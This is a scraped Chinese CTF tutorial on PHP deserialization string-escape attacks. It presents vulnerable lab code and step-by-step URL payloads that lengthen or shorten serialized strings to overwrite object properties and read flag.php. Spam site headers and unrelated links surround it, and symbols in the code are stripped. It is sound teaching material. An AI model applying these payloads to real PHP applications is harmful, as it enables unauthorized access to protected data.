当前位置: 首页 > news >正文

西安正规网站建设公司吴中快速建设网站价格

西安正规网站建设公司,吴中快速建设网站价格,单位网站建设需要哪些技术,传奇代理平台Web渗透—PHP反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场 课程地址#xff1a;PHP反序列化漏洞学习_哔哩…Web渗透—PHP反序列化        课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场 课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 十五、字符串逃逸例题-增多 1.实例代码 目标判断是否passescaping ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name; } class test{var $user;var $passdaydream; //pass默认值为daydreamfunction __construct($user){$this-user$user;} } $param$_GET[param]; //$_GET[‘param’]获取值给$param $paramserialize(new test($param)); //并放在实例化test里作为参数实例化触发__construct赋值给user $profileunserialize(filter($param)); //对$param值进行安全性检查filter把”flag”,”php”替换为”hack”然后在反序列化 if ($profile-passescaping){ //判断pass是否为escapingecho file_get_contents(flag.php); } ? 2.解题过程 思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3增多则判断一次吐出多少个字符串 4构造payload并提交 构造关键成员属性序列化字符 ?php class test{var $user123; //任意字符var $passescaping; } echo serialize(new test()); ? O:4:test:2:{s:4:user;s:3:123;s:4:pass;s:8:escaping;} php被替换成hack字符串增多会吐出字符串变成结构代码一个php吐出1个字符串 flag被替换成hack字符串不变无法吐出字符串变成结构代码 ;s:4:pass;s:8:escaping;} $user可控我们通过param参数进行传参我们需要将$pass及其参数吐出同时我们需要补全前面$user的序列化结构所以我们需要吐出29个字符 构造payload URL?paramphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:pass;s:8:escaping;} 3.回显结果 利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}十六、字符串逃逸例题-减少 1.实例代码 目标判断vip是否为真 ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hk,$name);return $name; } class test{var $user;var $pass;var $vip  false ; //vip默认值为falsefunction __construct($user,$pass){$this-user$user;$this-pass$pass;} } $param$_GET[user]; $pass$_GET[pass]; $paramserialize(new test($param,$pass)); $profileunserialize(filter($param)); //对$parm值user进行安全性检查filter把flag,php替换为hk,然后在反序列化 if ($profile-vip){ //判断vip值是否为真echo file_get_contents(flag.php); } ? 2.解题过程 思路 1字符串过滤后减少还是增多 2构造出关键成员属性序列化字符串 3减少则判断吃掉的内容并计算长度 4构造pyload并提交 构造关键成员属性序列化字符 ?php class test{var $user 123; //任意字符var $pass 123; //任意字符var $vip true; } echo serialize(new test()); ? O:4:test:3:{s:4:user;s:3:123;s:4:pass;s:3:123;s:3:vip;b:1;} php被替换成hk字符串减少会吃掉字符串变成结构代码一个php吃掉1个字符串 flag被替换成hk字符串减少会吃掉字符串变成结构代码一个flag吃掉2个字符串 ;s:4:pass;s:3:123;s:3:vip;b:1;} $user和$pass可控我们通过user和pass参数进行传参我们需要将$pass及其参数吃掉只保留参数内容以及结构  符号同时我们需要补全前面$user的序列化结构所以我们需要吃掉19个字符flag每次吃掉2个字符吃19个字符最少要吃10次所以我们会多吃1位在后面字符位置补 在PHP中当进行序列化时字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中字符串的长度使用一个表示字符数的整数来进行标识。 构造payload URL?userflagflagflagflagflagflagflagflagflagflagpass1;s:4:pass;s:3:123;s:3:vip;b:1;} 3.回显结果 利用构造的pyload进行参数传递得到flag页面无法直接回显需要查看网页源代码 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://www.hkea.cn/news/14519547/

相关文章:

  • 仿站怎么修改成自己的网站国家拨款农村建设查询的网站
  • 网站建设管理典型经验材料营销软文范例大全100
  • 网站建设衤金手指花总十四客户可以自主发帖的网站建设
  • php创建一个网站有网站后台模板如何做数据库
  • 平昌移动网站建设怎么样建一个网站
  • 色系网站.建个企业网站一年多少钱
  • 购卡链接网站怎么做钢筋网片价格多少钱一吨
  • sp怎么做视频网站wordpress给所有用户发邮件
  • 如何去建设一个企业网站河南安阳县
  • 昆明城乡建设局网站旅游景点企业网站排名
  • 律师网站建设案例网站开发结构图
  • 网站的类型主要有微信怎样建网站
  • 最新新闻热点事件及评论郑州seo线下培训
  • 个人网站免费的吗网站你懂我意思正能量免费软件
  • 泉州建站模板源码软件定制开发费用
  • 宁波网站建设哪家好电信宽带做网站
  • 郑州网站修改建设1688网页登录
  • 购物网站的建设费用无为县城乡建设局网站
  • 小语种企业网站建设植树节ppt模板下载免费版
  • 网站备案号怎么查询国家网站icp备案查询
  • 地方类门户网站社区网站模板
  • 代做ppt的网站面料 做网站
  • 个人网站建设架构怎么开网页游戏平台
  • 一个vps主机放两个网站 速度做网站的英文
  • 人社网站行风建设的建设和意见工程承包平台
  • 公司注销后网站备案吗wordpress邮件重置密码
  • 广州网站排名优化服务什么公司做网站
  • 自己做qq头像的网站正规自媒体培训学校
  • 小型网站建设实训教程网络推广方案下拉管家微xiala11
  • 大连网站建设 青鸟传媒找兼职h5网站开发人员